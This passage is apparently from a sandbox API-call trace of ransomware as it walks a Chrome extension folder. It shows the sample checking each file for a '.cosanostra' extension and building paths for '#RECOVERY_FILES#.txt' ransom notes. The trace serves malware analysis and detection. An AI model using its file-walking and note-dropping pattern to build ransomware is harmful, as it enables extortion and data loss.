lstrcmpW (lpString1="feedback_script.js", lpString2="_uninstalling_.png") returned 1 [0087.325] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js") returned 157 [0087.325] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json") returned 152 [0087.325] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0087.325] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.326] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0087.326] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json") returned 152 [0087.326] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css") returned 159 [0087.326] StrStrIW (lpFirst="material_css_min.css", lpSrch=".cosanostra") returned 0x0 [0087.326] lstrcmpW (lpString1="material_css_min.css", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.326] lstrcmpW (lpString1="material_css_min.css", lpString2="_uninstalling_.png") returned 1 [0087.326] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css") returned 159 [0087.326] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js") returned 166 [0087.326] StrStrIW (lpFirst="mirroring_cast_streaming.js", lpSrch=".cosanostra") returned 0x0 [0087.326] lstrcmpW (lpString1="mirroring_cast_streaming.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.326] lstrcmpW (lpString1="mirroring_cast_streaming.js", lpString2="_uninstalling_.png") returned 1 [0087.326] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js") returned 166 [0087.326] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js") returned 158 [0087.326] StrStrIW (lpFirst="mirroring_common.js", lpSrch=".cosanostra") returned 0x0 [0087.326] lstrcmpW (lpString1="mirroring_common.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.326] lstrcmpW (lpString1="mirroring_common.js", lpString2="_uninstalling_.png") returned 1 [0087.326] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js") returned 158 [0087.326] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js") returned 160 [0087.326] StrStrIW (lpFirst="mirroring_hangouts.js", lpSrch=".cosanostra") returned 0x0 [0087.326] lstrcmpW (lpString1="mirroring_hangouts.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.326] lstrcmpW (lpString1="mirroring_hangouts.js", lpString2="_uninstalling_.png") returned 1 [0087.326] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js") returned 160 [0087.326] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js") returned 158 [0087.326] StrStrIW (lpFirst="mirroring_webrtc.js", lpSrch=".cosanostra") returned 0x0 [0087.326] lstrcmpW (lpString1="mirroring_webrtc.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.326] lstrcmpW (lpString1="mirroring_webrtc.js", lpString2="_uninstalling_.png") returned 1 [0087.326] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js") returned 158 [0087.326] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales") returned 147 [0087.326] lstrcmpW (lpString1="_locales", lpString2=".") returned 1 [0087.326] lstrcmpW (lpString1="_locales", lpString2="..") returned 1 [0087.326] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*") returned 149 [0087.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 0x25aa30 [0087.328] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\.") returned 149 [0087.328] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.328] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\..") returned 150 [0087.328] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.328] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.328] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am") returned 150 [0087.328] lstrcmpW (lpString1="am", lpString2=".") returned 1 [0087.328] lstrcmpW (lpString1="am", lpString2="..") returned 1 [0087.329] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*") returned 152 [0087.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.329] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\.") returned 152 [0087.329] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.329] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\..") returned 153 [0087.329] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.329] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.329] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json") returned 164 [0087.329] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.329] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.329] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.329] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json") returned 164 [0087.330] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\#RECOVERY_FILES#.txt") returned 171 [0087.330] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\#RECOVERY_FILES#.txt") returned 171 [0087.330] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar") returned 150 [0087.330] lstrcmpW (lpString1="ar", lpString2=".") returned 1 [0087.330] lstrcmpW (lpString1="ar", lpString2="..") returned 1 [0087.330] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*") returned 152 [0087.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.331] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\.") returned 152 [0087.331] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.331] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\..") returned 153 [0087.331] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.331] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.331] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json") returned 164 [0087.331] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.331] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.331] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.331] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json") returned 164 [0087.342] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\#RECOVERY_FILES#.txt") returned 171 [0087.342] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\#RECOVERY_FILES#.txt") returned 171 [0087.342] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg") returned 150 [0087.342] lstrcmpW (lpString1="bg", lpString2=".") returned 1 [0087.342] lstrcmpW (lpString1="bg", lpString2="..") returned 1 [0087.342] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*") returned 152 [0087.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.349] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\.") returned 152 [0087.349] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.349] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\..") returned 153 [0087.349] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.349] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.349] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json") returned 164 [0087.349] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.349] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.349] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.349] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json") returned 164 [0087.350] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\#RECOVERY_FILES#.txt") returned 171 [0087.350] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\#RECOVERY_FILES#.txt") returned 171 [0087.350] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn") returned 150 [0087.350] lstrcmpW (lpString1="bn", lpString2=".") returned 1 [0087.350] lstrcmpW (lpString1="bn", lpString2="..") returned 1 [0087.350] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*") returned 152 [0087.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.350] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\.") returned 152 [0087.350] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.350] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\..") returned 153 [0087.355] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.355] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.356] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json") returned 164 [0087.356] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.356] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.356] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.356] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json") returned 164 [0087.356] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\#RECOVERY_FILES#.txt") returned 171 [0087.356] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\#RECOVERY_FILES#.txt") returned 171 [0087.356] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca") returned 150 [0087.356] lstrcmpW (lpString1="ca", lpString2=".") returned 1 [0087.356] lstrcmpW (lpString1="ca", lpString2="..") returned 1 [0087.356] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*") returned 152 [0087.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.356] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\.") returned 152 [0087.356] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.356] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\..") returned 153 [0087.356] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.356] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.356] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json") returned 164 [0087.356] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.356] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.356] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.356] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json") returned 164 [0087.357] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\#RECOVERY_FILES#.txt") returned 171 [0087.357] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\#RECOVERY_FILES#.txt") returned 171 [0087.357] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs") returned 150 [0087.357] lstrcmpW (lpString1="cs", lpString2=".") returned 1 [0087.357] lstrcmpW (lpString1="cs", lpString2="..") returned 1 [0087.357] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*") returned 152 [0087.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.357] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\.") returned 152 [0087.357] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.357] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\..") returned 153 [0087.357] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.358] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.358] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json") returned 164 [0087.358] StrStrIW 